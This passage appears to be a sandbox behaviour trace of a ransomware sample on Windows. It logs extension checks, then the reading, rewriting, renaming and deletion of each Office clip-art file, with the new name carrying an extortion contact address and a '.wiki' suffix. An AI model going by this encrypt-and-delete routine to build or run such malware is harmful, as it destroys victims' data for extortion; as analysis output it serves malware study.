(lpString1=".xls", lpString2=".WMF") returned 1 [0189.114] lstrlenW (lpString=".xlsx") returned 5 [0189.114] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.114] lstrlenW (lpString=".ppt") returned 4 [0189.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.114] lstrlenW (lpString=".zip") returned 4 [0189.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.114] lstrlenW (lpString=".rar") returned 4 [0189.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString=".bz2") returned 4 [0189.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString=".7z") returned 3 [0189.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.114] lstrlenW (lpString=".dbf") returned 4 [0189.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.114] lstrlenW (lpString=".1cd") returned 4 [0189.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.114] lstrlenW (lpString=".jpg") returned 4 [0189.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.114] lstrlenW (lpString=".doc") returned 4 [0189.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString=".docx") returned 5 [0189.114] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.114] lstrlenW (lpString=".pdf") returned 4 [0189.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.114] lstrlenW (lpString=".xls") returned 4 [0189.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.114] lstrlenW (lpString=".xlsx") returned 5 [0189.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.115] lstrlenW (lpString=".ppt") returned 4 [0189.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.115] lstrlenW (lpString=".zip") returned 4 [0189.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.115] lstrlenW (lpString=".rar") returned 4 [0189.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString=".bz2") returned 4 [0189.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString=".7z") returned 3 [0189.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.115] lstrlenW (lpString=".dbf") returned 4 [0189.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.115] lstrlenW (lpString=".1cd") returned 4 [0189.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 63 [0189.115] lstrlenW (lpString=".jpg") returned 4 [0189.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.115] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.115] lstrlenW (lpString="FD01548_.WMF") returned 12 [0189.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.116] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=10316) returned 1 [0189.116] CloseHandle (hObject=0x1f8) returned 1 [0189.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0189.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.116] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.116] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.117] GetLastError () returned 0x0 [0189.117] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x284c, lpOverlapped=0x0) returned 1 [0189.140] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2850, lpOverlapped=0x0) returned 1 [0189.141] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.141] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.141] SetEndOfFile (hFile=0x1f4) returned 1 [0189.141] CloseHandle (hObject=0x1f4) returned 1 [0189.141] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.141] SetEndOfFile (hFile=0x1f8) returned 1 [0189.142] CloseHandle (hObject=0x1f8) returned 1 [0189.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0189.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.142] lstrlenW (lpString=".doc") returned 4 [0189.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.142] lstrlenW (lpString=".docx") returned 5 [0189.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.143] lstrlenW (lpString=".pdf") returned 4 [0189.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString=".xls") returned 4 [0189.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.143] lstrlenW (lpString=".xlsx") returned 5 [0189.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.143] lstrlenW (lpString=".ppt") returned 4 [0189.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.143] lstrlenW (lpString=".zip") returned 4 [0189.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.143] lstrlenW (lpString=".rar") returned 4 [0189.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString=".bz2") returned 4 [0189.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString=".7z") returned 3 [0189.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.143] lstrlenW (lpString=".dbf") returned 4 [0189.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.143] lstrlenW (lpString=".1cd") returned 4 [0189.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.143] lstrlenW (lpString=".jpg") returned 4 [0189.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.143] lstrlenW (lpString=".doc") returned 4 [0189.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.143] lstrlenW (lpString=".docx") returned 5 [0189.144] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.144] lstrlenW (lpString=".pdf") returned 4 [0189.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.144] lstrlenW (lpString=".xls") returned 4 [0189.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.144] lstrlenW (lpString=".xlsx") returned 5 [0189.144] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.144] lstrlenW (lpString=".ppt") returned 4 [0189.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.144] lstrlenW (lpString=".zip") returned 4 [0189.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.144] lstrlenW (lpString=".rar") returned 4 [0189.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.144] lstrlenW (lpString=".bz2") returned 4 [0189.144] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.144] lstrlenW (lpString=".7z") returned 3 [0189.144] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.144] lstrlenW (lpString=".dbf") returned 4 [0189.144] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.144] lstrlenW (lpString=".1cd") returned 4 [0189.144] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 63 [0189.144] lstrlenW (lpString=".jpg") returned 4 [0189.144] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.145] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.145] lstrlenW (lpString="FD01660_.WMF") returned 12 [0189.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.145] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=12958) returned 1 [0189.145] CloseHandle (hObject=0x1f8) returned 1 [0189.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0189.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.145] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.145] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.146] GetLastError () returned 0x0 [0189.146] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x329e, lpOverlapped=0x0) returned 1 [0189.175] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x32a0, lpOverlapped=0x0) returned 1 [0189.176] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.176] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.176] SetEndOfFile (hFile=0x1f4) returned 1 [0189.176] CloseHandle (hObject=0x1f4) returned 1 [0189.176] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.176] SetEndOfFile (hFile=0x1f8) returned 1 [0189.177] CloseHandle (hObject=0x1f8) returned 1 [0189.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0189.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.177] lstrlenW (lpString=".doc") returned 4 [0189.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString=".docx") returned 5 [0189.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.178] lstrlenW (lpString=".pdf") returned 4 [0189.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString=".xls") returned 4 [0189.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.178] lstrlenW (lpString=".xlsx") returned 5 [0189.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.178] lstrlenW (lpString=".ppt") returned 4 [0189.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.178] lstrlenW (lpString=".zip") returned 4 [0189.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.178] lstrlenW (lpString=".rar") returned 4 [0189.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString=".bz2") returned 4 [0189.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString=".7z") returned 3 [0189.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.178] lstrlenW (lpString=".dbf") returned 4 [0189.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.178] lstrlenW (lpString=".1cd") returned 4 [0189.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.178] lstrlenW (lpString=".jpg") returned 4 [0189.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.178] lstrlenW (lpString=".doc") returned 4 [0189.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.178] lstrlenW (lpString=".docx") returned 5 [0189.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.179] lstrlenW (lpString=".pdf") returned 4 [0189.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.179] lstrlenW (lpString=".xls") returned 4 [0189.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.179] lstrlenW (lpString=".xlsx") returned 5 [0189.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.179] lstrlenW (lpString=".ppt") returned 4 [0189.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.179] lstrlenW (lpString=".zip") returned 4 [0189.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.179] lstrlenW (lpString=".rar") returned 4 [0189.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.179] lstrlenW (lpString=".bz2") returned 4 [0189.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.179] lstrlenW (lpString=".7z") returned 3 [0189.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.179] lstrlenW (lpString=".dbf") returned 4 [0189.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.179] lstrlenW (lpString=".1cd") returned 4 [0189.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 63 [0189.179] lstrlenW (lpString=".jpg") returned 4 [0189.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.179] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.179] lstrlenW (lpString="FD02088_.WMF") returned 12 [0189.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.180] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3696) returned 1 [0189.180] CloseHandle (hObject=0x1f8) returned 1 [0189.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0189.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.180] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.180] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.181] GetLastError () returned 0x0 [0189.181] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xe70, lpOverlapped=0x0) returned 1 [0189.307] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe80, lpOverlapped=0x0) returned 1 [0189.307] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.307] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.308] SetEndOfFile (hFile=0x1f4) returned 1 [0189.308] CloseHandle (hObject=0x1f4) returned 1 [0189.308] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.308] SetEndOfFile (hFile=0x1f8) returned 1 [0189.308] CloseHandle (hObject=0x1f8) returned 1 [0189.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0189.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.309] lstrlenW (lpString=".doc") returned 4 [0189.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.309] lstrlenW (lpString=".docx") returned 5 [0189.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.309] lstrlenW (lpString=".pdf") returned 4 [0189.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.309] lstrlenW (lpString=".xls") returned 4 [0189.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.309] lstrlenW (lpString=".xlsx") returned 5 [0189.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.309] lstrlenW (lpString=".ppt") returned 4 [0189.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63 [0189.309] lstrlenW (lpString=".zip") returned 4 [0189.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 